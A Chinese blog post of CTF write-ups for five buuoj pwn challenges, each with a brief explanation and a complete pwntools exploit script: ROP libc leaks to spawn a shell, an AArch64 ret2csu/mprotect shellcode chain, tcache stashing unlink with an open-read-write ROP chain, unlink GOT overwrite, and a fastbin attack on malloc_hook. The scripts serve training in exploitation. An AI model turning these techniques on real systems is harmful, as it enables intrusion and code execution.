buuoj Pwn writeup 181-185

本文介绍了三篇关于栈溢出和ROP攻击的PWN技术博客,涉及ARM、AArch64架构以及利用ropchain和mprotect漏洞。详细讲解了如何利用溢出覆盖返回地址,栈指针,以及构造ROP链来执行恶意代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

181 gwctf_2019_jiandan_pwn1

在这里插入图片描述在这里插入图片描述
实现了一个类似于gets的函数。我们直接溢出就行。

要注意这个题在gets的时候通过栈上的一个变量来寻址。我们在gets覆盖到那个变量的时候,直接把他覆盖成返回地址的地方,然后直接往返回地址写rop。

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = process("./181")
#r = remote("node3.buuoj.cn", 28907)
elf = ELF("./181")
libc = ELF("./64/libc-2.23.so")

pop_rdi =  0x400843
fgetc_got = elf.got['fgetc']
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']

payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(fgetc_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Hack 4 fun!\n", payload)
fgetc_addr = u64(r.recv(6).ljust(8, "\x00"))
libc_base = fgetc_addr - libc.sym['fgetc']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
print "libc_base = " + hex(libc_base)

payload = 'a'*(0x110 - 0x4) + '\x18' + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendlineafter("Hack 4 fun!", payload)

r.interactive()

182 shanghai2018_baby_arm

看名字就知道是个arm题。

在这里插入图片描述明显的栈溢出。

程序给出了mprotect,所以我们其实在跟早之前就做过linux中的这种题,rop返回到mprotect,然后修改bss的权限,最后跳过去。这个题的问题就是,架构是aarch64。

需要指出的是,AArch64架构并不是ARM-32架构的简单扩展,他是在ARMv8引入的一种全新架构。
几个常见命令

SP – Stack Pointer:栈指针
R30 LR Link Register:在调用函数时候,保存下一条要执行指令的地址。
R29 FP Frame Pointer:保存函数栈的基地址。
R19-R28 – Callee-saved registers(含义见上面术语解释)

在这里插入图片描述
看到进入函数时对SP指针进行了-0x50的操作,之后又将其+0x10作为参数传入read函数。
我们的缓冲区是0x40,上面还会有两个指针,栈指针跟返回地址。

那么padding长度必定为0x40,然后覆盖X29寄存器的值,然后就能覆盖X30(返回地址所在寄存器)

接下来我们需要控制X0-X3寄存器,以完成mprotect(0x411000,0x1000,7)的构造。

可以看到这段代码非常像我们在Intel/AMD架构下利用的ret2csu的代码,那么此处我们可以进行利用。
自0x4008CC处的代码开始,程序会依次对X19、X20、X21、X22、X23、X24、X29、X30赋值。
X29,X30取的是SP指针指向处的值,因此在栈上应当布置成X29、X30、X19、X20、X21、X22、X23、X24的顺序!
我们若接下来将PC劫持到0x4008AC处,程序将执行LDR X3,[X21,X19,LSL#3],那么此句汇编的意义是,将X19的值逻辑左移(Logical Shift Left)三位后加上X21的值,取其所指向的值存储在X3寄存器中。接下来是把X22寄存器的值作为第三个参数,把X23寄存器的值作为第二个参数,把X24寄存器的值(的低32位)作为第一个参数,给X19寄存器的值加一,调用X3寄存器所指向的函数。
我们只需要控制X19为0,LDR X3,[X21,X19,LSL#3]其实就是LDR X3,[X21]那么我们需要找一个可控地址写入mprotect,此时BSS就成了我们的最佳选择。

最后在exp过程中肯能有如下报错,解决方案也在下面了。
在这里插入图片描述

apt search binutils | grep aarch64
sudo apt install binutils-aarch64-linux-gnu binutils-aarch64-linux-gnu-dbg

# -*- coding: utf-8 -*-
from pwn import *

r = remote('node3.buuoj.cn',28112)
elf = ELF('./182')

context.log_level = "debug"
context.arch = 'aarch64'
context.os = "linux"

mprotect_plt = elf.plt['mprotect']

csu_ldr = 0x4008CC
csu_call = 0x4008AC
 
shellcode = asm(shellcraft.sh())
 
payload = p64(mprotect_plt) + shellcode
r.sendafter('Name:',payload)
shellcode_addr = 0x411068 + 8
 
payload = 'a'*0x48 + p64(csu_ldr)
payload += p64(0) 
payload += p64(csu_call) 
 
payload += p64(0) + p64(1) 
payload += p64(shellcode_addr-8) 
payload += p64(0x1000007) 
payload += p64(len(shellcode)) 
payload += p64(shellcode_addr) 

payload += p64(0)
payload += p64(shellcode_addr) 
 
r.send(payload)

r.interactive()

183 [Black Watch 入群题]PWN2

在这里插入图片描述在这里插入图片描述初始化。

在这里插入图片描述沙箱也开了。

add
在这里插入图片描述用的是calloc,也没有off by null。

throw
在这里插入图片描述明显的uaf。还可以有double free。

edit
在这里插入图片描述红包内容变了变。

watch
在这里插入图片描述直接就是一个puts,统统搞定。

在这里插入图片描述
有栈溢出,但是有保护条件,绕过的话需要在qword_2048 的地方写上一个大于0x7f0000000000的数字,题目又是2.29,再结合上面的calloc、沙箱,基本上是一道tcache unlink stashing sttack。

其实偷偷的说这个题跟前面那个新春红包3一摸一样……exp直接拿来跑就行……

from pwn import *

r = remote("node3.buuoj.cn", 25103)

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./183")
libc = ELF('./64/libc-2.29.so')

one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Your input: "
def add(index, choice, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
	r.sendline(str(choice))
	r.recvuntil("Please input content: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("Please input content: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))

for i in range(7):
	add(0,4,'Chunk0')
	delete(0)

for i in range(6):
	add(1,2,'Chunk1')
	delete(1)


show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))

add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))


add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1

add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2


payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)

add(3,2,'Chunk_3') # get smallbin


pop_rdi_ret = libc.address + 0x26542
pop_rsi_ret = libc.address + 0x26f9e
pop_rdx_ret = libc.address + 0x12bda6
file_name_addr = heap_addr + 0x4A40
flag_addr = file_name_addr + 0x200
ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(4,4,ROP_chain)

leave_ret = libc.address + 0x58373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

r.interactive()

184 sleepyHolder_hitcon_2016

在这里插入图片描述
RELRO没都开,got表危险了。

在这里插入图片描述
进来先申请了一个随机大小的chunk,可以避免泄露heap地址,妙啊。

keep
在这里插入图片描述
可以申请的chunk有三种。都是用的calloc。
0x40 0x4000 0x400000

在这里插入图片描述没有清理空指针,也没有检查,所以可以double free。

renew
在这里插入图片描述更新chunk里面的数据。

我们想的是通过double free去做unlink,因为指针在栈上,但是问题就是我们用来用去只能用一个大小为fastbin 的chunk,在libc2.23这样的环境下绕不开检查。那么我们在这里就利用malloc_consilidate,让那个free的chunk脱链,然后再次释放,做一个double free。
在unlink的时候我们比较麻烦的是泄露libc地址,因为整个程序没有输出函数,那么我们就通过unlink劫持got表,将free的got改成puts的plt,通过free来泄露地址。然后再次unlink一套带走。

#coding:utf8
from pwn import *

context.log_level = "debug"
 
r = remote('node3.buuoj.cn',28524)
elf = ELF('./184')
libc = ELF("./64/libc-2.23.so")

free_got = elf.got['free']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
small_buf_addr = 0x6020D0
 
def add(type,content):
   r.sendlineafter('3. Renew secret\n','1')
   r.sendlineafter('What secret do you want to keep?',str(type))
   r.sendafter('Tell me your secret:',content)
 
def delete(type):
   r.sendlineafter('3. Renew secret\n','2')
   r.sendlineafter('Which Secret do you want to wipe?',str(type))
 
def edit(type,content):
   r.sendlineafter('3. Renew secret\n','3')
   r.sendlineafter('Which Secret do you want to renew?',str(type))
   r.sendafter('Tell me your secret:',content)
 
add(1,'a'*0x20)
add(2,'b'*0x20)
delete(1)

add(3,'c'*0x20) #malloc_consilidate
delete(1)

payload = p64(0) + p64(0x21)
payload += p64(small_buf_addr - 0x18) + p64(small_buf_addr - 0x10)
payload += p64(0x20)

add(1,payload)
delete(2)

payload = '\x00'*0x8 + p64(free_got) + p64(0) + p64(small_buf_addr - 0x10) + p64(1)
edit(1,payload)
edit(2,p64(puts_plt))

payload = p64(atoi_got) + p64(0) + p64(atoi_got) + p64(1) + p64(1)
edit(1,payload)

delete(1) #leak_libc
r.recvuntil('2. Big secret\n')
atoi_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']

print 'libc_base = ' + hex(libc_base)
print 'system_addr = ' + hex(system_addr)
edit(2,p64(system_addr))

r.sendlineafter('3. Renew secret\n','sh\x00')
 
r.interactive()

185 nsctf_online_2019_pwn2

在这里插入图片描述

在这里插入图片描述
先在bss上输入名字。

add
在这里插入图片描述0x60是名字,0x90是地址,0x40是大小。

free

在这里插入图片描述
连检查带清空,做完了。

show
在这里插入图片描述输出点啥。

update
在这里插入图片描述
给一个重新输入的机会,但是你看那个0x31,太明显了吧……

在这里插入图片描述
edit
在这里插入图片描述重新写一下内容。

漏洞就在那个update能改chunk的地址的最后一个字节。
问题是我们怎么利用他。

我们最后采取的方法是说直接先申请一个大于fastbin的chunk,再申请一个其他的,然后通过改变地址,将地址改成第一个,释放,并且故技重施,输出,得到libc地址。故技重施,利用fastbin attack,攻击malloc_hook,从而one_gadget 通过realloc抬栈,一套带走。

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

#r = process("./185")
r = remote("node3.buuoj.cn", 26107)

elf = ELF("./1851")
libc = ELF("./64/libc-2.23.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

r.sendlineafter("name\n", "Yongibaoi")

def add(size):
    r.sendlineafter("exit\n", "1")
    r.sendlineafter("size\n", str(size))

def delete():
    r.sendlineafter("exit\n", "2")
    
def show():
    r.sendlineafter("exit\n", "3")

def update(name):
    r.sendlineafter("exit\n", "4")
    r.sendafter("name\n", name)

def edit(note):
    r.sendlineafter("exit\n", "5")
    r.sendlineafter("note\n", note)

add(0x80)
add(0x10)
delete() #提前埋一个指针,防止一会重新申请chunk的时候直接从unsorted中拿
add(0x20) 
update("a" * 0x30 + '\x10')
delete() #让chunk释放后不会被top chunk合并

add(0x10)
update("a" * 0x30 + "\x10") #再次把地址变成第一个chunk
show()
malloc_hook = (u64(r.recv(6).ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget =libc_base + 0x4526a
realloc_addr = libc_base + libc.sym['__libc_realloc']
print "libc_base = " + hex(libc_base)

add(0x80)
add(0x10) #调整heap
add(0x60)
delete()
add(0x30)
update("a" * 0x30 + '\x10')
edit(p64(malloc_hook - 0x23)) #再来一次 制造fastbin attack

add(0x60)
add(0x60)
edit("a" * 0xb + p64(one_gadget) + p64(realloc_addr + 0xc))

add(0x10)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值